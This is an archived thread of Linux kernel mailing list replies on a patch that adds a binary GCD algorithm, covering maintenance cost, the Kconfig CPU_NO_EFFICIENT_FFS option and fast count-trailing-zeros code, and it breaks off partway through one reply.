Original-X-From: linux-alpha-owner@vger.kernel.org Thu Apr 28 19:22:57 2016
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1avpeT-0003NP-9K
	for lnx-linux-alpha@plane.gmane.org; Thu, 28 Apr 2016 19:22:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752560AbcD1RW4 (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 28 Apr 2016 13:22:56 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:60770 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752159AbcD1RWy (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Thu, 28 Apr 2016 13:22:54 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8CAA38EE189;
	Thu, 28 Apr 2016 10:22:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1461864172;
	bh=7tg3hUplyW2aFDHd42FHTlOSvw7WXL2VR2x463jD/m4=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=lQj4fQ5ANbJ9/m1b6+w4kgXPry4Kx8ERRFKUmdjkNE2nH+J+pIHr1XMkTSNt0mAmB
	 cc1QUxdtimYx0VTnoq0Mtk5nwwYsIp2Rju3Q0a9X53rH2bZMxPPoyTnJtXWLreFJJD
	 ROLjcjT3Ubiq2nn4E8lo9DmkU2ult304f3RxlPZo=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hSg5QpX0_wLj; Thu, 28 Apr 2016 10:22:52 -0700 (PDT)
Original-Received: from [153.66.254.194] (unknown [50.46.144.141])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 130088EE0A3;
	Thu, 28 Apr 2016 10:22:51 -0700 (PDT)
In-Reply-To: <1461843824-19853-1-git-send-email-zengzhaoxiu@163.com>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3708 gmane.linux.kernel:2210782 gmane.linux.ports.arm.kernel:496714 gmane.linux.kernel.metag:1066 gmane.linux.ports.mips.general:54409 gmane.linux.ports.openrisc:709 gmane.linux.ports.parisc:26735 gmane.linux.ports.sh.devel:53901 gmane.linux.ports.sparc:22903
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3708>

On Thu, 2016-04-28 at 19:43 +0800, zengzhaoxiu@163.com wrote:
> From: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
> 
> Because some architectures (alpha, armv6, etc.) don't provide 
> hardware division, the mod operation is slow! Binary GCD algorithm 
> uses simple arithmetic operations, it replaces division with 
> arithmetic shifts, comparisons, and subtractions.
> 
> I have compiled successfully with x86_64_defconfig and 
> i386_defconfig.

What's the reason for wanting to optimize this and thus have to
maintain (and test) two separate code paths, which is a significant
expense? As far as I can see, gcd() is mosly used in finding optimal
clocks for operations, which is usually done at start of day and not
time critical.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.openrisc,gmane.linux.ports.sparc
Subject: Re: [patch V3] lib: GCD: add binary GCD algorithm
Date: Thu, 28 Apr 2016 19:51:06 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <CAMuHMdU2e2PdwKYVaEsJ73X8Di1XHNPqnxuunr8R8bN8udazxw@mail.gmail.com>
References: <1461843824-19853-1-git-send-email-zengzhaoxiu@163.com>
	<20160428164856.10120.qmail@ns.horizon.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1461865878 6407 80.91.229.3 (28 Apr 2016 17:51:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 17:51:18 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>, zengzhaoxiu@163.com,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@davemloft.net>,
	Helge Deller <deller@gmx.de>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	James Hogan <james.hogan@imgtec.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Jonas Bonn <jonas@southpole.se>,
	Lennox Wu <lennox.wu@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	alpha <linux-alpha@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	"open list:METAG ARCHITECTURE" <linux-metag@vger.kernel.org>,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	Russell King <l
To: George Spelvin <linux@horizon.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Apr 28 19:51:14 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avq5o-0007WX-Az
	for glpm-linux-m68k@plane.gmane.org; Thu, 28 Apr 2016 19:51:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751731AbcD1RvK (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Thu, 28 Apr 2016 13:51:10 -0400
Original-Received: from mail-io0-f194.google.com ([209.85.223.194]:36726 "EHLO
	mail-io0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751513AbcD1RvI (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Thu, 28 Apr 2016 13:51:08 -0400
Original-Received: by mail-io0-f194.google.com with SMTP id k129so12960448iof.3
        for <linux-m68k@lists.linux-m68k.org>; Thu, 28 Apr 2016 10:51:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=IDC/Z2juvUxpC8A8fbWJYtyZOgEhS6AAXHTmxvSBt4Y=;
        b=DBFZdmBcf1VoR2mhZ8Z/KWS0p3iFp/YwbkUPJnPXYbNZhXnuTzVFAHjLRWXN9DfE7d
         lBV0jWnGrS4IhoWzwFnnrFLHsawGSXlGbr/FJjWmvBRYQdZZBT3XiGk6jmVyjZPq3NL9
         gl3XqRLLJmbx2TqCktjTyjRmlvNKUOB2ILugmmnX5Ceal/jy/xRXczZqR6laoMfpoHBb
         ETRaLzPkxtm2dlVB4GcTfpT0ErGyHXlRJFq9ZeS75Y555sj6yvt20fcxnLayBfZHQ52E
         W9LK0QCy9pSsSbLtLCdK0GMDaEpcqwR2eZh3x6wU1TzndHOjuRFvrqPEukMkrZK3X1di
         vCsA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=IDC/Z2juvUxpC8A8fbWJYtyZOgEhS6AAXHTmxvSBt4Y=;
        b=cD9WM2R4qhTXrV/wWt0FV+X/9r/TmS9CzJMGd1ina3lJOZwu+O4mb6is81dJdNWzZ5
         mV7L6wI1ws5CXOw0A700cfOAmKWLTGZYfIJuE+qPGhAQrMlYGf2XyjrmRF+pBBlXl+8a
         YvdevZwRqeUR737XJAOXPcK9pRikJ0lE9Q2Mt+wTBlTINUWGDOQVEGVCRj7q62j+cb6G
         IR1VmK//ztdWiyj4mxVrPl/tEC7ipa6dP6wIdjeV3WhJtuPhQ5uyiaZrmukBNB+0XUa3
         0t0kdvTed/52rbOIOmmfKpkwQmR+BKk2eOVyQ9XkjGYEzhLzL0E+ZH5Pjwaoz+fldQoy
         FFDA==
X-Gm-Message-State: AOPr4FW2AdpQLP5PTIa/nuhdlSKW4aZqUXRuD/ZVs+gd0lYJb6gnvmuQK9xfLDPOYdcb3A9f+YcHgLPLDba5KA==
X-Received: by 10.107.191.2 with SMTP id p2mr21655052iof.115.1461865866451;
 Thu, 28 Apr 2016 10:51:06 -0700 (PDT)
Original-Received: by 10.107.31.77 with HTTP; Thu, 28 Apr 2016 10:51:06 -0700 (PDT)
In-Reply-To: <20160428164856.10120.qmail@ns.horizon.com>
X-Google-Sender-Auth: im7Zsx5sgIB7Y02nUoEY_ItH_wA
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8585 gmane.linux.ports.alpha:3709 gmane.linux.ports.arm.kernel:496722 gmane.linux.kernel:2210795 gmane.linux.kernel.metag:1067 gmane.linux.ports.mips.general:54410 gmane.linux.ports.parisc:26736 gmane.linux.ports.sh.devel:53902 gmane.linux.ports.openrisc:710 gmane.linux.ports.sparc:22905
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8585>

On Thu, Apr 28, 2016 at 6:48 PM, George Spelvin <linux@horizon.com> wrote:
> Another few comments:
>
> 1. Would ARCH_HAS_FAST_FFS involve fewer changes than CPU_NO_EFFICIENT_FFS?

No, as you want to _disable_ ARCH_HAS_FAST_FFS / _enable_
CPU_NO_EFFICIENT_FFS as soon as you're enabling support for a
CPU that doesn't support it.

Logical OR is easier in both the Kconfig and C preprocessor languages
than logical NAND.

E.g. in Kconfig, a CPU core not supporting it can just select
CPU_NO_EFFICIENT_FFS.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rich Felker <dalias@libc.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.openrisc,gmane.linux.ports.sparc
Subject: Re: [patch V3] lib: GCD: add binary GCD algorithm
Date: Thu, 28 Apr 2016 13:58:44 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20160428175843.GZ21636@brightrain.aerifal.cx>
References: <1461843824-19853-1-git-send-email-zengzhaoxiu@163.com>
 <20160428164856.10120.qmail@ns.horizon.com>
 <CAMuHMdU2e2PdwKYVaEsJ73X8Di1XHNPqnxuunr8R8bN8udazxw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1461866583 18389 80.91.229.3 (28 Apr 2016 18:03:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 18:03:03 +0000 (UTC)
Cc: George Spelvin <linux@horizon.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>, zengzhaoxiu@163.com,
	"David S. Miller" <davem@davemloft.net>,
	Helge Deller <deller@gmx.de>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	James Hogan <james.hogan@imgtec.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Jonas Bonn <jonas@southpole.se>,
	Lennox Wu <lennox.wu@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	alpha <linux-alpha@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	"open list:METAG ARCHITECTURE" <linux-metag@vger.kernel.org>,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	Russell Ki
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 28 20:02:58 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avqHB-0004Md-7U
	for glpp-linux-parisc@plane.gmane.org; Thu, 28 Apr 2016 20:02:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752067AbcD1SC4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Apr 2016 14:02:56 -0400
Original-Received: from 216-12-86-13.cv.mvl.ntelos.net ([216.12.86.13]:57816 "EHLO
	brightrain.aerifal.cx" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751824AbcD1SCz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Apr 2016 14:02:55 -0400
Original-Received: from dalias by brightrain.aerifal.cx with local (Exim 3.15 #2)
	id 1avqD6-0007Gz-00; Thu, 28 Apr 2016 17:58:44 +0000
Content-Disposition: inline
In-Reply-To: <CAMuHMdU2e2PdwKYVaEsJ73X8Di1XHNPqnxuunr8R8bN8udazxw@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26737 gmane.linux.ports.alpha:3710 gmane.linux.ports.arm.kernel:496727 gmane.linux.kernel:2210803 gmane.linux.kernel.metag:1068 gmane.linux.ports.mips.general:54411 gmane.linux.ports.sh.devel:53903 gmane.linux.ports.openrisc:711 gmane.linux.ports.sparc:22906
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26737>

On Thu, Apr 28, 2016 at 07:51:06PM +0200, Geert Uytterhoeven wrote:
> On Thu, Apr 28, 2016 at 6:48 PM, George Spelvin <linux@horizon.com> wrote:
> > Another few comments:
> >
> > 1. Would ARCH_HAS_FAST_FFS involve fewer changes than CPU_NO_EFFICIENT_FFS?
> 
> No, as you want to _disable_ ARCH_HAS_FAST_FFS / _enable_
> CPU_NO_EFFICIENT_FFS as soon as you're enabling support for a
> CPU that doesn't support it.
> 
> Logical OR is easier in both the Kconfig and C preprocessor languages
> than logical NAND.
> 
> E.g. in Kconfig, a CPU core not supporting it can just select
> CPU_NO_EFFICIENT_FFS.

How does a CPU lack an efficient ffs/ctz anyway? There are all sorts
of ways to implement it without a native insn, some of which are
almost or just as fast as the native insn on cpus that have the
latter. On anything with a fast multiply, the de Bruijn sequence
approach is near-optimal, and otherwise one of the binary-search type
approaches (possibly branchless) can be used. If the compiler doesn't
generate an appropriate one for __builtin_ctz, that's arguably a
compiler bug.

Rich
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.openrisc,gmane.linux.ports.sparc
Subject: Re: [patch V3] lib: GCD: add binary GCD algorithm
Date: Thu, 28 Apr 2016 20:11:32 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <CAMuHMdUBWqdyS4w7EKsnvQLXJVgQh624AQsjgQvxT9FRW4s_6g@mail.gmail.com>
References: <1461843824-19853-1-git-send-email-zengzhaoxiu@163.com>
	<20160428164856.10120.qmail@ns.horizon.com>
	<CAMuHMdU2e2PdwKYVaEsJ73X8Di1XHNPqnxuunr8R8bN8udazxw@mail.gmail.com>
	<20160428175843.GZ21636@brightrain.aerifal.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1461867105 26556 80.91.229.3 (28 Apr 2016 18:11:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 18:11:45 +0000 (UTC)
Cc: George Spelvin <linux@horizon.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>, zengzhaoxiu@163.com,
	"David S. Miller" <davem@davemloft.net>,
	Helge Deller <deller@gmx.de>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	James Hogan <james.hogan@imgtec.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Jonas Bonn <jonas@southpole.se>,
	Lennox Wu <lennox.wu@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	alpha <linux-alpha@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	"open list:METAG ARCHITECTURE" <linux-metag@vger.kernel.org>,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	Russell Ki
To: Rich Felker <dalias@libc.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Apr 28 20:11:41 2016
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1avqPb-0007Bf-Ib
	for lnx-linux-alpha@plane.gmane.org; Thu, 28 Apr 2016 20:11:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752392AbcD1SLh (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 28 Apr 2016 14:11:37 -0400
Original-Received: from mail-io0-f196.google.com ([209.85.223.196]:36589 "EHLO
	mail-io0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751539AbcD1SLf (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Thu, 28 Apr 2016 14:11:35 -0400
Original-Received: by mail-io0-f196.google.com with SMTP id k129so13014483iof.3;
        Thu, 28 Apr 2016 11:11:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=aQDScg3gUCk/Fwdsf7l8Mx4U6pRj2Jt6KhME608opWg=;
        b=ax6Oun+4EBon+SGU80Cf2shjvILFkpeyeQZcErrMo9kQ19GqohMRkJ0bkJ7x2M5QnH
         Drm35hlifQ9AU3yY0mqCO+PmuA6Kv84tqgEnf/kMMXy1s5uGPChlM1WTyliwJToN3/kW
         her9dZzopxykctwkl9FTh2B292V5ORm6LygkEwFUSGNInwhz0I+j64nMnsuMuEMGKPJN
         YFT6rvnyFKWkUu2aXn5ayfbKYcK0pQaCXcy5oMrl97vjCb7zwuxq64yW3HP7oAUeuX7G
         3u368mdOs0vqSLOE8ZhyfoFq/ynxXhRgtyLshQfXSoi9Q/5pl9dRdaxvG7UE349oy08s
         Z/Wg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=aQDScg3gUCk/Fwdsf7l8Mx4U6pRj2Jt6KhME608opWg=;
        b=NWhycX51dtkyDAcoBdzMCKcGpmRtEF+QWMErKRadXRZGfmMxiKiJ58+GmJtQj9rTvd
         WxCAcdlqvAkh33yD6E9ZuXEgPd1DYI+xUBawWQq12nMwlOBhuOlNd752aM/uOoBOo3Tx
         gRnzFBoI7ZkE8lqGo2PLPjt71aQXZGUaXroeeFyj6i4Ix8cC0rtuzCyhRUVoiWXHN1IM
         orB5h4la0HjFDcAlw9VYo8AWPiOAk3IVkF6LLfX6mDU5df7kcGhWnUcI5+ClWOjfRJ23
         HPmtN6bE5Q46s3W+h69GIhIJaBVxMyxsDDiiSx/yPr0+fpkcaLNnOBSEDGcifD6tdhIG
         MPfg==
X-Gm-Message-State: AOPr4FX54hrM5s53lgdCxXEQ5ZRVuJNevDSx9BWBybTpAs51p2i7hEeaIKsLJ6h5JZd5Yk7j+7JxquOj6JojBQ==
X-Received: by 10.107.191.2 with SMTP id p2mr21780105iof.115.1461867093196;
 Thu, 28 Apr 2016 11:11:33 -0700 (PDT)
Original-Received: by 10.107.31.77 with HTTP; Thu, 28 Apr 2016 11:11:32 -0700 (PDT)
In-Reply-To: <20160428175843.GZ21636@brightrain.aerifal.cx>
X-Google-Sender-Auth: aTRi6KVGPiXYVDG8MkNjxNydI9U
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3711 gmane.linux.ports.arm.kernel:496729 gmane.linux.kernel:2210806 gmane.linux.kernel.metag:1069 gmane.linux.ports.mips.general:54412 gmane.linux.ports.parisc:26738 gmane.linux.ports.sh.devel:53904 gmane.linux.ports.openrisc:712 gmane.linux.ports.sparc:22907
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3711>

On Thu, Apr 28, 2016 at 7:58 PM, Rich Felker <dalias@libc.org> wrote:
> On Thu, Apr 28, 2016 at 07:51:06PM +0200, Geert Uytterhoeven wrote:
>> On Thu, Apr 28, 2016 at 6:48 PM, George Spelvin <linux@horizon.com> wrote:
>> > Another few comments:
>> >
>> > 1. Would ARCH_HAS_FAST_FFS involve fewer changes than CPU_NO_EFFICIENT_FFS?
>>
>> No, as you want to _disable_ ARCH_HAS_FAST_FFS / _enable_
>> CPU_NO_EFFICIENT_FFS as soon as you're enabling support for a
>> CPU that doesn't support it.
>>
>> Logical OR is easier in both the Kconfig and C preprocessor languages
>> than logical NAND.
>>
>> E.g. in Kconfig, a CPU core not supporting it can just select
>> CPU_NO_EFFICIENT_FFS.
>
> How does a CPU lack an efficient ffs/ctz anyway? There are all sorts
> of ways to implement it without a native insn, some of which are
> almost or just as fast as the native insn on cpus that have the
> latter. On anything with a fast multiply, the de Bruijn sequence
> approach is near-optimal, and otherwise one of the binary-search type
> approaches (possibly branchless) can be used. If the compiler doesn't
> generate an appropriate one for __builtin_ctz, that's arguably a
> compiler bug.

m68k-linux-gcc 4.6.3 generates:

        jsr __ctzsi2

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "George Spelvin" <linux@horizon.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.openrisc,gmane.linux.ports.sparc
Subject: Re: [patch V3] lib: GCD: add binary GCD algorithm
Date: 28 Apr 2016 15:15:51 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <20160428191551.17438.qmail@ns.horizon.com>
References: <20160428175843.GZ21636@brightrain.aerifal.cx>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461870964 24885 80.91.229.3 (28 Apr 2016 19:16:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 19:16:04 +0000 (UTC)
Cc: akpm@linux-foundation.org, davem@davemloft.net, deller@gmx.de,
	ink@jurassic.park.msu.ru, james.hogan@imgtec.com,
	jejb@parisc-linux.org, jonas@southpole.se, lennox.wu@gmail.com,
	lftan@altera.com, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org, linux@arm.linux.org.uk,
	linux@horizon.com, linux@lists.openrisc.net, liqin.linux@gmail.com,
	mattst88@gmail.com, monstr@monstr.eu,
	nios2-dev@lists.rocketboards.org, peterz@infradead.org,
	ralf@linux-mips.org, rth@twiddle.net, sparclinux@vger.kernel.org,
	uclinux-h8-devel@lists.sourceforge.jp, ysato@users.sourceforge.jp,
	zengzhaoxiu@163.com, zhaoxiu.zeng@gmail.com
To: dalias@libc.org, geert@linux-m68k.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 28 21:16:00 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avrPp-0002Jd-I2
	for glpp-linux-parisc@plane.gmane.org; Thu, 28 Apr 2016 21:15:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752657AbcD1TPy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Apr 2016 15:15:54 -0400
Original-Received: from ns.horizon.com ([71.41.210.147]:61860 "HELO ns.horizon.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752309AbcD1TPx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Apr 2016 15:15:53 -0400
Original-Received: (qmail 17439 invoked by uid 1000); 28 Apr 2016 15:15:51 -0400
In-Reply-To: <20160428175843.GZ21636@brightrain.aerifal.cx>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26739 gmane.linux.ports.alpha:3712 gmane.linux.ports.arm.kernel:496734 gmane.linux.kernel:2210842 gmane.linux.kernel.metag:1070 gmane.linux.ports.mips.general:54413 gmane.linux.ports.sh.devel:53905 gmane.linux.ports.openrisc:713 gmane.linux.ports.sparc:22908
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26739>

> How does a CPU lack an efficient ffs/ctz anyway? There are all sorts
> of ways to implement it without a native insn, some of which are
> almost or just as fast as the native insn on cpus that have the
> latter. On anything with a fast multiply, the de Bruijn sequence
> approach is near-optimal, and otherwise one of the binary-search type
> approaches (possibly branchless) can be used. If the compiler doesn't
> generate an appropriate one for __builtin_ctz, that's arguably a
> compiler bug.

What's wanted here is something faster than any of those.
Yes, there's a simple constant-time branch-free implementation:

unsigned inline __attribute__((const))
hweight32(uint32_t x)
{
	x -= (x >> 1) & 0x55555555;
	x  = ((x >> 2) & 0x33333333) + (x & 0x33333333);
	x += x >> 4;
	x &= 0x0f0f0f0f;
	x += x >> 8;
	x += x >> 16;
	return x & 63;
}

unsigned inline __attribute__((const))
__ffs32(uint32_t x)
{
	return hweight(~x & (x-1));
}

but if you work it through, that's about 19 instructions; a few more on
